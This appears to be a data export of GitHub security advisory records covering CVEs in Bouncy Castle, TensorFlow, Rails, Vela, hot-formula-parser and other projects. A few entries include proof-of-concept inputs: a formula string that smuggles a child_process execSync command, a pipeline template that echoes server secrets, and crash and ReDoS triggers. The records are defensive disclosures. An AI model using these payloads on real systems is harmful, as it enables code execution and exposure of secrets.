GHSA | GHSA-r97x-3g8f-gx3m | The Bouncy Castle JCE Provider carry a propagation bug | In the Bouncy Castle JCE Provider versions 1.51 to 1.55, a carry propagation bug was introduced in the implementation of squaring for several raw math classes have been fixed (org.bouncycastle.math.raw.Nat???). These classes are used by our custom elliptic curve implementations (org.bouncycastle.math.ec.custom.**), so there was the possibility of rare (in general usage) spurious calculations for elliptic curve scalar multiplications. Such errors would have been detected with high probability by the output validation for our scalar multipliers. | {'CVE-2016-1000340'} | 2022-04-27T13:27:34Z | 2018-10-17T16:23:50Z | HIGH | 7.5 | null | {'https://github.com/advisories/GHSA-r97x-3g8f-gx3m', 'https://www.oracle.com/security-alerts/cpuoct2020.html', 'https://github.com/bcgit/bc-java/commit/790642084c4e0cadd47352054f868cc8397e2c00#diff-e5934feac8203ca0104ab291a3560a31', 'https://access.redhat.com/errata/RHSA-2018:2669', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000340', 'https://security.netapp.com/advisory/ntap-20181127-0004/', 'https://access.redhat.com/errata/RHSA-2018:2927'} | null | {'https://github.com/bcgit/bc-java/commit/790642084c4e0cadd47352054f868cc8397e2c00#diff-e5934feac8203ca0104ab291a3560a31'} | {'https://github.com/bcgit/bc-java/commit/790642084c4e0cadd47352054f868cc8397e2c00#diff-e5934feac8203ca0104ab291a3560a31'} |
GHSA | GHSA-rrm8-32g4-w8m3 | Cross-site Request Forgery (CSRF) | CSRF in Bitly oauth2_proxy 2.1 during authentication flow | {'CVE-2017-1000069'} | 2021-12-20T18:04:46Z | 2021-12-20T18:04:46Z | HIGH | 8.8 | {'CWE-352'} | {'https://github.com/bitly/oauth2_proxy/commit/55085d9697962668fd4e43e8e4644144fe83cd93', 'https://github.com/bitly/oauth2_proxy/pull/360', 'https://github.com/advisories/GHSA-rrm8-32g4-w8m3', 'https://nvd.nist.gov/vuln/detail/CVE-2017-1000069', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-1000069'} | null | {'https://github.com/bitly/oauth2_proxy/commit/55085d9697962668fd4e43e8e4644144fe83cd93'} | {'https://github.com/bitly/oauth2_proxy/commit/55085d9697962668fd4e43e8e4644144fe83cd93'} |
GHSA | GHSA-2j2x-hx4g-2gf4 | In Bouncy Castle JCE Provider the DHIES implementation allowed the use of ECB mode | In the Bouncy Castle JCE Provider version 1.55 and earlier the DHIES implementation allowed the use of ECB mode. This mode is regarded as unsafe and support for it has been removed from the provider. | {'CVE-2016-1000344'} | 2022-04-27T13:32:11Z | 2018-10-18T17:43:55Z | HIGH | 7.4 | {'CWE-1310'} | {'https://www.oracle.com/security-alerts/cpuoct2020.html', 'https://access.redhat.com/errata/RHSA-2018:2669', 'https://github.com/bcgit/bc-java/commit/9385b0ebd277724b167fe1d1456e3c112112be1f', 'https://security.netapp.com/advisory/ntap-20181127-0004/', 'https://access.redhat.com/errata/RHSA-2018:2927', 'https://nvd.nist.gov/vuln/detail/CVE-2016-1000344', 'https://github.com/advisories/GHSA-2j2x-hx4g-2gf4'} | null | {'https://github.com/bcgit/bc-java/commit/9385b0ebd277724b167fe1d1456e3c112112be1f'} | {'https://github.com/bcgit/bc-java/commit/9385b0ebd277724b167fe1d1456e3c112112be1f'} |
GHSA | GHSA-54mg-vgrp-mwx9 | Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) in Ratpack | Ratpack versions before 1.6.1 generate a session ID using a cryptographically weak PRNG in the JDK's ThreadLocalRandom. This means that if an attacker can determine a small window for the server start time and obtain a session ID value, they can theoretically determine the sequence of session IDs. | {'CVE-2019-11808'} | 2021-08-04T15:01:31Z | 2019-05-14T04:01:37Z | LOW | 3.7 | {'CWE-338'} | {'https://github.com/ratpack/ratpack/commit/f2b63eb82dd71194319fd3945f5edf29b8f3a42d', 'https://github.com/ratpack/ratpack/releases/tag/v1.6.1', 'https://github.com/advisories/GHSA-54mg-vgrp-mwx9', 'https://github.com/ratpack/ratpack/issues/1448', 'https://nvd.nist.gov/vuln/detail/CVE-2019-11808'} | null | {'https://github.com/ratpack/ratpack/commit/f2b63eb82dd71194319fd3945f5edf29b8f3a42d'} | {'https://github.com/ratpack/ratpack/commit/f2b63eb82dd71194319fd3945f5edf29b8f3a42d'} |
GHSA | GHSA-w3g5-2848-2v8r | Data races in generator | The `Generator` type is an iterable which uses a generator function that yields
values. In affected versions of the crate, the provided function yielding values
had no `Send` bounds despite the `Generator` itself implementing `Send`.
The generator function lacking a `Send` bound means that types that are
dangerous to send across threads such as `Rc` could be sent as part of a
generator, potentially leading to data races.
This flaw was fixed in commit [`f7d120a3b`](https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0)
by enforcing that the generator function be bound by `Send`. | {'CVE-2020-36471'} | 2021-08-25T20:57:05Z | 2021-08-25T20:57:05Z | MODERATE | 5.9 | {'CWE-362'} | {'https://github.com/Xudong-Huang/generator-rs/issues/27', 'https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0', 'https://github.com/advisories/GHSA-w3g5-2848-2v8r', 'https://rustsec.org/advisories/RUSTSEC-2020-0151.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-36471'} | null | {'https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0'} | {'https://github.com/Xudong-Huang/generator-rs/commit/f7d120a3b724d06a7b623d0a4306acf8f78cb4f0'} |
GHSA | GHSA-gj77-59wh-66hg | Regular Expression Denial of Service (ReDoS) in Prism | Some languages before 1.24.0 are vulnerable to Regular Expression Denial of Service (ReDoS).
### Impact
When Prism is used to highlight untrusted (user-given) text, an attacker can craft a string that will take a very very long time to highlight. Do not use the following languages to highlight untrusted text.
- ASCIIDoc
- ERB
Other languages are __not__ affected and can be used to highlight untrusted text.
### Patches
This problem has been fixed in Prism v1.24.
### References
- PrismJS/prism#2774
- PrismJS/prism#2688
| {'CVE-2021-32723'} | 2022-02-08T21:21:39Z | 2021-06-28T18:33:18Z | HIGH | 7.4 | {'CWE-400'} | {'https://github.com/PrismJS/prism/commit/d85e30da6755fdbe7f8559f8e75d122297167018', 'https://www.oracle.com/security-alerts/cpujan2022.html', 'https://github.com/PrismJS/prism/security/advisories/GHSA-gj77-59wh-66hg', 'https://github.com/advisories/GHSA-gj77-59wh-66hg', 'https://github.com/PrismJS/prism/pull/2688', 'https://github.com/PrismJS/prism/pull/2774', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32723'} | null | {'https://github.com/PrismJS/prism/commit/d85e30da6755fdbe7f8559f8e75d122297167018'} | {'https://github.com/PrismJS/prism/commit/d85e30da6755fdbe7f8559f8e75d122297167018'} |
GHSA | GHSA-9m87-6fj3-c5xh | Untrusted Search Path in PNPM | PNPM prior to v6.15.1 was discovered to contain an untrusted search path which causes the application to behave in unexpected ways when users execute PNPM commands in a directory containing malicious content. This vulnerability occurs when the application is ran on Windows OS. | {'CVE-2022-26183'} | 2022-03-30T21:04:53Z | 2022-03-23T00:00:24Z | HIGH | 8.8 | {'CWE-426'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-26183', 'https://github.com/pnpm/pnpm/commit/04b7f60861ddee8331e50d70e193d1e701abeefb', 'https://github.com/pnpm/pnpm/releases/tag/v6.15.1', 'https://github.com/advisories/GHSA-9m87-6fj3-c5xh'} | null | {'https://github.com/pnpm/pnpm/commit/04b7f60861ddee8331e50d70e193d1e701abeefb'} | {'https://github.com/pnpm/pnpm/commit/04b7f60861ddee8331e50d70e193d1e701abeefb'} |
GHSA | GHSA-hr84-fqvp-48mm | Segfault in SparseCountSparseOutput | ### Impact
Specifying a negative dense shape in `tf.raw_ops.SparseCountSparseOutput` results in a segmentation fault being thrown out from the standard library as `std::vector` invariants are broken.
```python
import tensorflow as tf
indices = tf.constant([], shape=[0, 0], dtype=tf.int64)
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
dense_shape = tf.constant([-100, -100, -100], shape=[3], dtype=tf.int64)
weights = tf.constant([], shape=[0, 0], dtype=tf.int64)
tf.raw_ops.SparseCountSparseOutput(indices=indices, values=values, dense_shape=dense_shape, weights=weights, minlength=79, maxlength=96, binary_output=False)
```
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L199-L213) assumes the first element of the dense shape is always positive and uses it to initialize a `BatchedMap<T>` (i.e., [`std::vector<absl::flat_hash_map<int64,T>>`](https://github.com/tensorflow/tensorflow/blob/8f7b60ee8c0206a2c99802e3a4d1bb55d2bc0624/tensorflow/core/kernels/count_ops.cc#L27)) data structure.
```cc
bool is_1d = shape.NumElements() == 1;
int num_batches = is_1d ? 1 : shape.flat<int64>()(0);
...
auto per_batch_counts = BatchedMap<W>(num_batches);
```
If the `shape` tensor has more than one element, `num_batches` is the first value in `shape`.
Ensuring that the `dense_shape` argument is a valid tensor shape (that is, all elements are non-negative) solves this issue.
### Patches
We have patched the issue in GitHub commit [c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5](https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2 and TensorFlow 2.3.3.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team. | {'CVE-2021-29521'} | 2021-05-21T14:21:16Z | 2021-05-21T14:21:16Z | LOW | 2.5 | {'CWE-131'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-hr84-fqvp-48mm', 'https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5', 'https://github.com/advisories/GHSA-hr84-fqvp-48mm', 'https://nvd.nist.gov/vuln/detail/CVE-2021-29521'} | null | {'https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5'} | {'https://github.com/tensorflow/tensorflow/commit/c57c0b9f3a4f8684f3489dd9a9ec627ad8b599f5'} |
GHSA | GHSA-w736-hf9p-qqh3 | Key Caching behavior in the DynamoDB Encryption Client. | ### Impact
This advisory concerns users of MostRecentProvider in the DynamoDB Encryption Client with a key provider like AWS Key Management Service that allows for permissions on keys to be modified.
When key usage permissions were changed at the key provider, time-based key reauthorization logic in MostRecentProvider did not reauthorize the use of the key. This created the potential for keys to be used in the DynamoDB Encryption Client after permissions to do so were revoked at the key provider.
### Patches
Fixed as of 1.15.0. We recommend users to modify their code and adopt `CachingMostRecentProvider`.
### Workarounds
Users who cannot upgrade to use the `CachingMostRecentProvider` can call `clear()` on the cache to manually flush all of its contents. Next use of the key will force a re-validation to occur with the key provider. | null | 2021-02-08T17:43:36Z | 2021-02-08T17:43:36Z | LOW | 0 | {'CWE-862'} | {'https://github.com/aws/aws-dynamodb-encryption-java/blob/master/CHANGELOG.md#1150----2021-02-04', 'https://github.com/advisories/GHSA-w736-hf9p-qqh3', 'https://github.com/aws/aws-dynamodb-encryption-java/security/advisories/GHSA-w736-hf9p-qqh3', 'https://github.com/aws/aws-dynamodb-encryption-java/commit/7de5f5a5929271ab25bce685089eb7ec564dac4b'} | null | {'https://github.com/aws/aws-dynamodb-encryption-java/commit/7de5f5a5929271ab25bce685089eb7ec564dac4b'} | {'https://github.com/aws/aws-dynamodb-encryption-java/commit/7de5f5a5929271ab25bce685089eb7ec564dac4b'} |
GHSA | GHSA-wmwp-pggc-h4mj | Cross-site Scripting in Documize | domain/section/markdown/markdown.go in Documize before 3.5.1 mishandles untrusted Markdown content. This was addressed by adding the bluemonday HTML sanitizer to defend against XSS. | {'CVE-2019-19619'} | 2021-05-18T15:30:30Z | 2021-05-18T15:30:30Z | MODERATE | 6.1 | {'CWE-79'} | {'https://github.com/advisories/GHSA-wmwp-pggc-h4mj', 'https://github.com/documize/community/compare/v3.5.0...v3.5.1', 'https://nvd.nist.gov/vuln/detail/CVE-2019-19619', 'https://github.com/documize/community/releases/tag/v3.5.1', 'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} | null | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} | {'https://github.com/documize/community/commit/a4384210d4d0d6b18e6fdb7e155de96d4a1cf9f3'} |
GHSA | GHSA-jmv4-73v2-pvgc | Cross-site Scripting in OpenNMS Horizon | In OpenNMS Horizon, versions opennms-1-0-stable through opennms-27.1.1; OpenNMS Meridian, versions meridian-foundation-2015.1.0-1 through meridian-foundation-2019.1.18-1; meridian-foundation-2020.1.0-1 through meridian-foundation-2020.1.6-1 are vulnerable to Stored Cross-Site Scripting since there is no validation on the input being sent to the `name` parameter in `noticeWizard` endpoint. Due to this flaw an authenticated attacker could inject arbitrary script and trick other admin users into downloading malicious files. | {'CVE-2021-25929'} | 2021-05-28T22:27:12Z | 2021-05-25T18:46:58Z | MODERATE | 4.8 | {'CWE-79'} | {'https://github.com/advisories/GHSA-jmv4-73v2-pvgc', 'https://github.com/OpenNMS/opennms/commit/66c1f626bf38a7d1a9530b4d68598269ee5245a2', 'https://github.com/OpenNMS/opennms/commit/eb08b5ed4c5548f3e941a1f0d0363ae4439fa98c', 'https://nvd.nist.gov/vuln/detail/CVE-2021-25929', 'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25929'} | null | {'https://github.com/OpenNMS/opennms/commit/eb08b5ed4c5548f3e941a1f0d0363ae4439fa98c', 'https://github.com/OpenNMS/opennms/commit/66c1f626bf38a7d1a9530b4d68598269ee5245a2'} | {'https://github.com/OpenNMS/opennms/commit/eb08b5ed4c5548f3e941a1f0d0363ae4439fa98c', 'https://github.com/OpenNMS/opennms/commit/66c1f626bf38a7d1a9530b4d68598269ee5245a2'} |
GHSA | GHSA-ch3h-j2vf-95pv | XSS Vulnerability in Action View tag helpers | There is a possible XSS vulnerability in Action View tag helpers. Passing
untrusted input as hash keys can lead to a possible XSS vulnerability. This
vulnerability has been assigned the CVE identifier CVE-2022-27777.
Versions Affected: ALL
Not affected: NONE
Fixed Versions: 7.0.2.4, 6.1.5.1, 6.0.4.8, 5.2.7.1
## Impact
If untrusted data is passed as the hash key for tag attributes, there is a
possibility that the untrusted data may not be properly escaped which can
lead to an XSS vulnerability.
Impacted code will look something like this:
```
check_box_tag('thename', 'thevalue', false, aria: { malicious_input => 'thevalueofaria' })
```
Where the "malicious_input" variable contains untrusted data.
All users running an affected release should either upgrade or use one of the
workarounds immediately.
## Releases
The FIXED releases are available at the normal locations.
## Workarounds
Escape the untrusted data before using it as a key for tag helper methods.
| {'CVE-2022-27777'} | 2022-04-27T23:00:15Z | 2022-04-27T22:32:49Z | HIGH | 0 | {'CWE-79'} | {'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85', 'https://rubyonrails.org/2022/4/26/Rails-7-0-2-4-6-1-5-1-6-0-4-8-and-5-2-7-1-have-been-released', 'https://github.com/advisories/GHSA-ch3h-j2vf-95pv', 'https://groups.google.com/g/ruby-security-ann/c/9wJPEDv-iRw', 'https://nvd.nist.gov/vuln/detail/CVE-2022-27777', 'https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionview/CVE-2022-27777.yml'} | null | {'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85'} | {'https://github.com/rails/rails/commit/649516ce0feb699ae06a8c5e81df75d460cc9a85'} |
GHSA | GHSA-9j49-mfvp-vmhm | Code Injection in pac-resolver | This affects the package pac-resolver before 5.0.0. This can occur when used with untrusted input, due to unsafe PAC file handling. **NOTE:** The fix for this vulnerability is applied in the node-degenerator library, a dependency written by the same maintainer. | {'CVE-2021-23406'} | 2021-09-02T17:10:06Z | 2021-09-02T17:10:06Z | HIGH | 8.1 | {'CWE-94'} | {'https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1568506', 'https://nvd.nist.gov/vuln/detail/CVE-2021-23406', 'https://github.com/advisories/GHSA-9j49-mfvp-vmhm', 'https://snyk.io/vuln/SNYK-JS-PACRESOLVER-1564857', 'https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5', 'https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e', 'https://github.com/TooTallNate/node-pac-resolver/releases/tag/5.0.0'} | null | {'https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5', 'https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e'} | {'https://github.com/TooTallNate/node-degenerator/commit/ccc3445354135398b6eb1a04c7d27c13b833f2d5', 'https://github.com/TooTallNate/node-degenerator/commit/9d25bb67d957bc2e5425fea7bf7a58b3fc64ff9e'} |
GHSA | GHSA-3fx4-7f69-5mmg | Integer Overflow in go-jose | go-jose before 1.0.5 suffers from a CBC-HMAC integer overflow on 32-bit architectures. An integer overflow could lead to authentication bypass for CBC-HMAC encrypted ciphertexts on 32-bit architectures. | {'CVE-2016-9123'} | 2021-06-23T17:14:12Z | 2021-06-23T17:14:12Z | HIGH | 7.5 | {'CWE-190'} | {'https://github.com/advisories/GHSA-3fx4-7f69-5mmg', 'https://nvd.nist.gov/vuln/detail/CVE-2016-9123', 'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96', 'https://hackerone.com/reports/165170'} | null | {'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96'} | {'https://github.com/square/go-jose/commit/789a4c4bd4c118f7564954f441b29c153ccd6a96'} |
GHSA | GHSA-qr4p-c9wr-phr6 | Prototype pollution in set-in | Prototype pollution vulnerability in 'set-in' versions 1.0.0 through 2.0.0 allows attacker to cause a denial of service and may lead to remote code execution. | {'CVE-2020-28273'} | 2021-03-19T21:01:46Z | 2021-03-19T21:01:46Z | CRITICAL | 9.8 | {'CWE-1321'} | {'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2020-28273', 'https://github.com/ahdinosaur/set-in/commit/e431effa00195a6f06b111e09733cd1445a91a88', 'https://nvd.nist.gov/vuln/detail/CVE-2020-28273', 'https://github.com/advisories/GHSA-qr4p-c9wr-phr6'} | null | {'https://github.com/ahdinosaur/set-in/commit/e431effa00195a6f06b111e09733cd1445a91a88'} | {'https://github.com/ahdinosaur/set-in/commit/e431effa00195a6f06b111e09733cd1445a91a88'} |
GHSA | GHSA-cr3f-r24j-3chw | Cobbler before 3.3.0 allows authorization bypass for modification of settings. | Cobbler before 3.3.0 allows authorization bypass for modification of settings. | {'CVE-2021-40325'} | 2021-10-13T17:27:13Z | 2021-10-05T17:53:29Z | MODERATE | 0 | {'CWE-863'} | {'https://github.com/cobbler/cobbler/releases/tag/v3.3.0', 'https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a', 'https://nvd.nist.gov/vuln/detail/CVE-2021-40325', 'https://github.com/advisories/GHSA-cr3f-r24j-3chw'} | null | {'https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a'} | {'https://github.com/cobbler/cobbler/commit/d8f60bbf14a838c8c8a1dba98086b223e35fe70a'} |
GHSA | GHSA-hp68-xhvj-x6j6 | Insufficient patch for Regular Expression Denial of Service (ReDoS) to jsx-slack v4.5.1 | We found the patch for CVE-2021-43838 in jsx-slack v4.5.1 is insufficient to save from Regular Expression Denial of Service (ReDoS) attack.
This vulnerability affects to jsx-slack v4.5.1 and earlier versions.
### Impact
If attacker can put a lot of JSX elements into `<blockquote>` tag _with including multibyte characters_, an internal regular expression for escaping characters may consume an excessive amount of computing resources.
```javascript
/** @jsxImportSource jsx-slack */
import { Section } from 'jsx-slack'
console.log(
<Section>
<blockquote>
{[...Array(40)].map(() => (
<p>亜</p>
))}
</blockquote>
</Section>
)
```
v4.5.1 has released by passing the test against ASCII characters but missed the case of multibyte characters.
https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q
### Patches
jsx-slack v4.5.2 has updated regular expressions for escaping blockquote characters to prevent catastrophic backtracking. It is also including an updated test case to confirm rendering multiple tags in `<blockquote>` with multibyte characters.
### References
- https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc
### Credits
Thanks to @hieki for finding out this vulnerability. | {'CVE-2021-43843'} | 2022-04-19T19:03:18Z | 2022-01-06T18:34:18Z | MODERATE | 5.3 | {'CWE-400'} | {'https://github.com/yhatt/jsx-slack/security/advisories/GHSA-hp68-xhvj-x6j6', 'https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc', 'https://github.com/advisories/GHSA-hp68-xhvj-x6j6', 'https://github.com/yhatt/jsx-slack/releases/tag/v4.5.2', 'https://github.com/yhatt/jsx-slack/security/advisories/GHSA-55xv-f85c-248q', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43843'} | null | {'https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc'} | {'https://github.com/yhatt/jsx-slack/commit/46bc88391d89d5fda4ce689e18ca080bcdd29ecc'} |
GHSA | GHSA-vxhc-c4qm-647p | Improper Access Control in Dolibarr | In “Dolibarr” application, 2.8.1 to 13.0.4 don’t restrict or incorrectly restricts access to a resource from an unauthorized actor. A low privileged attacker can modify the Private Note which only an administrator has rights to do, the affected field is at “/adherents/note.php?id=1” endpoint. | {'CVE-2021-25954'} | 2021-10-21T13:35:03Z | 2021-08-11T15:18:11Z | MODERATE | 4.3 | {'CWE-863', 'CWE-284'} | {'https://github.com/advisories/GHSA-vxhc-c4qm-647p', 'https://nvd.nist.gov/vuln/detail/CVE-2021-25954', 'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25954', 'https://github.com/Dolibarr/dolibarr/commit/8cc100012d46282799fb19f735a53b7101569377'} | null | {'https://github.com/Dolibarr/dolibarr/commit/8cc100012d46282799fb19f735a53b7101569377'} | {'https://github.com/Dolibarr/dolibarr/commit/8cc100012d46282799fb19f735a53b7101569377'} |
GHSA | GHSA-mh9j-v6mq-pfch | Path manipulation in matyhtf/framework | matyhtf framework v3.0.5 is affected by a path manipulation vulnerability in Smarty.class.php. The issue was fixed in version 3.0.6. | {'CVE-2021-43676'} | 2022-03-18T15:08:05Z | 2021-12-04T00:01:07Z | CRITICAL | 9.8 | {'CWE-22'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-43676', 'https://github.com/advisories/GHSA-mh9j-v6mq-pfch', 'https://github.com/matyhtf/framework/commit/25084603b7ea771eebe263d39744fe6abf1f8d61', 'https://github.com/matyhtf/framework/issues/206'} | null | {'https://github.com/matyhtf/framework/commit/25084603b7ea771eebe263d39744fe6abf1f8d61'} | {'https://github.com/matyhtf/framework/commit/25084603b7ea771eebe263d39744fe6abf1f8d61'} |
GHSA | GHSA-gv2h-gf8m-r68j | Exposure of server configuration in github.com/go-vela/server | ### Impact
_What kind of vulnerability is it? Who is impacted?_
* The ability to expose configuration set in the [Vela server](https://github.com/go-vela/server) via [pipeline template functionality](https://go-vela.github.io/docs/templates/overview/).
* It impacts all users of Vela.
Sample of template exposing server configuration [using Sprig's `env` function](http://masterminds.github.io/sprig/os.html):
```yaml
metadata:
template: true
steps:
- name: sample
image: alpine:latest
commands:
# OAuth client ID for Vela <-> GitHub communication
- echo {{ env "VELA_SOURCE_CLIENT" }}
# secret used for server <-> worker communication
- echo {{ env "VELA_SECRET" }}
```
### Patches
_Has the problem been patched? What versions should users upgrade to?_
* Upgrade to `0.6.1`
#### Additional Recommended Action(s)
* Rotate all secrets
### Workarounds
_Is there a way for users to fix or remediate the vulnerability without upgrading?_
* No
### For more information
If you have any questions or comments about this advisory:
* Email us at [vela@target.com](mailto:vela@target.com) | {'CVE-2020-26294'} | 2022-04-19T19:02:43Z | 2022-02-15T00:19:57Z | HIGH | 7.4 | {'CWE-200', 'CWE-78'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-26294', 'https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda', 'https://pkg.go.dev/github.com/go-vela/compiler/compiler', 'https://github.com/go-vela/compiler/security/advisories/GHSA-gv2h-gf8m-r68j', 'https://github.com/helm/helm/blob/6297c021cbda1483d8c08a8ec6f4a99e38be7302/pkg/engine/funcs.go#L46-L47', 'https://github.com/advisories/GHSA-gv2h-gf8m-r68j'} | null | {'https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda'} | {'https://github.com/go-vela/compiler/commit/f1ace5f8a05c95c4d02264556e38a959ee2d9bda'} |
GHSA | GHSA-8wwf-2644-f8x4 | Path traversal | The thefuck (aka The Fuck) package before 3.31 for Python allows Path Traversal that leads to arbitrary file deletion via the `undo archive operation` feature. | {'CVE-2021-34363'} | 2022-03-29T22:16:29Z | 2021-06-15T15:49:01Z | CRITICAL | 9.1 | {'CWE-22'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4MEDDLBFVRUQHPYIBJ4MFM3M4NUJUXL5/', 'https://github.com/advisories/GHSA-8wwf-2644-f8x4', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YA6UNQSOY6M3NJDZLS6YJXTS4WGDMEEJ/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-34363', 'https://vuln.ryotak.me/advisories/48', 'https://github.com/nvbn/thefuck/releases/tag/3.31', 'https://github.com/nvbn/thefuck/commit/e343c577cd7da4d304b837d4a07ab4df1e023092'} | null | {'https://github.com/nvbn/thefuck/commit/e343c577cd7da4d304b837d4a07ab4df1e023092'} | {'https://github.com/nvbn/thefuck/commit/e343c577cd7da4d304b837d4a07ab4df1e023092'} |
GHSA | GHSA-rc77-xxq6-4mff | Command Injection in hot-formula-parser | Versions of `hot-formula-parser` prior to 3.0.1 are vulnerable to Command Injection. The package fails to sanitize values passed to the `parse` function and concatenates it in an `eval` call. If a value of the formula is supplied by user-controlled input it may allow attackers to run arbitrary commands in the server.
Parsing the following formula creates a `test` file in the present directory:
`"SUM([(function(){require('child_process').execSync('touch test')})(),2])"`
## Recommendation
Upgrade to version 3.0.1 or later. | {'CVE-2020-6836'} | 2021-08-25T21:04:45Z | 2020-05-06T19:32:33Z | CRITICAL | 9.8 | {'CWE-94'} | {'https://github.com/handsontable/formula-parser/pull/58', 'https://github.com/advisories/GHSA-rc77-xxq6-4mff', 'https://blog.truesec.com/2020/01/17/reverse-shell-through-a-node-js-math-parser/', 'https://www.npmjs.com/advisories/1439', 'https://nvd.nist.gov/vuln/detail/CVE-2020-6836', 'https://github.com/handsontable/formula-parser/commit/396b089738d4bf30eb570a4fe6a188affa95cd5e'} | null | {'https://github.com/handsontable/formula-parser/commit/396b089738d4bf30eb570a4fe6a188affa95cd5e'} | {'https://github.com/handsontable/formula-parser/commit/396b089738d4bf30eb570a4fe6a188affa95cd5e'} |
GHSA | GHSA-jvjp-vh27-r9h5 | Cross-site Scripting in PiranhaCMS | In PiranhaCMS, versions 7.0.0 to 9.1.1 are vulnerable to stored XSS due to the page title improperly sanitized. By creating a page with a specially crafted page title, a low privileged user can trigger arbitrary JavaScript execution. | {'CVE-2021-25977'} | 2021-10-27T18:53:03Z | 2021-10-27T18:53:03Z | MODERATE | 5.4 | {'CWE-79'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-25977', 'https://github.com/advisories/GHSA-jvjp-vh27-r9h5', 'https://www.whitesourcesoftware.com/vulnerability-database/CVE-2021-25977', 'https://github.com/PiranhaCMS/piranha.core/commit/543bc53c7dbd28c793ec960b57fb0e716c6b18d7'} | null | {'https://github.com/PiranhaCMS/piranha.core/commit/543bc53c7dbd28c793ec960b57fb0e716c6b18d7'} | {'https://github.com/PiranhaCMS/piranha.core/commit/543bc53c7dbd28c793ec960b57fb0e716c6b18d7'} |
GHSA | GHSA-536q-8gxx-m782 | Cross-Site Scripting in dojo | Versions of `dojo` prior to 1.4.2 are vulnerable to DOM-based Cross-Site Scripting (XSS). The package does not sanitize URL parameters in the `_testCommon.js` and `runner.html` test files, allowing attackers to execute arbitrary JavaScript in the victim's browser.
## Recommendation
Upgrade to version 1.4.2 or later. | {'CVE-2010-2273'} | 2021-08-17T22:24:34Z | 2019-09-11T23:02:57Z | MODERATE | 0 | {'CWE-79'} | {'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50856', 'http://secunia.com/advisories/38964', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50849', 'https://nvd.nist.gov/vuln/detail/CVE-2010-2273', 'http://secunia.com/advisories/40007', 'https://bugs.dojotoolkit.org/ticket/10773', 'http://bugs.dojotoolkit.org/ticket/10773', 'http://www.gdssecurity.com/l/b/2010/03/12/multiple-dom-based-xss-in-dojo-toolkit-sdk/', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50958', 'https://www.npmjs.com/advisories/972', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50932', 'http://www.vupen.com/english/advisories/2010/1281', 'http://www-1.ibm.com/support/docview.wss?uid=swg1LO50896', 'http://www-01.ibm.com/support/docview.wss?uid=swg21431472', 'https://github.com/dojo/dojo/pull/307', 'https://github.com/dojo/dojo/commit/9117ffd5a3863e44c92fcd58564c0da22be858f4', 'https://github.com/advisories/GHSA-536q-8gxx-m782', 